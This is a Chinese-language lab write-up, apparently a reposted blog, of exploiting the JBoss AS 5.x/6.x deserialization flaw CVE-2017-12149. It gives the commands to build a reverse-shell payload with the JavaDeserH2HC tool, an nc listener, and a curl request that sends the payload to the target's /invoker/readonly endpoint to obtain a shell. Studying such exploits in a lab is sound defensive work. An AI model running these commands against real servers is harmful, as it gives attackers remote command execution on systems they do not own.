JBOSSAS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)


  本文主要记录一下JBOSSAS 5.x/6.x 反序列化命令执行漏洞的测试过程

仅供学习


  文中利用到漏洞环境由phith0n维护: JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

  靶机地址:192.168.1.102  服务端口:8080    

  测试机: 192.168.1.100

  搭建好环境,访问地址:http://192.168.1.102:8080/ 及 http://192.168.1.102:8080/invoker/readonly

  

  响应码500,证明漏洞存在。

  下载漏洞利用工具: http://scan.javasec.cn/java/JavaDeserH2HC.zip

  编译:(需要java环境)

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

  运行:

java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap ip:port   //反弹shell的IP和端口
starnight:JavaDeserH2HC starnight$ javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
starnight:JavaDeserH2HC starnight$ java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap 192.168.1.100:1337
Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser

  这样就会将序列化对象保存在ReverseShellCommonsCollectionsHashMap.ser中,用curl命令发送到Jboss服务地址。

  先在测试机运行nc命令,进入监听模式:

starnight:temp starnight$ nc -lvv 1337

  再打开另一个控制台,运行如下curl命令:

starnight:JavaDeserH2HC starnight$ curl -v http://192.168.1.102:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

  运行截图:

  左侧是获取到shell,并执行命令。右侧是用curl命令运行截图。

References

  JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

  CVE-2017-12149 JBOOS AS 6.X 反序列化漏洞利用

原文地址:https://www.cnblogs.com/Hi-blog/p/7904443.html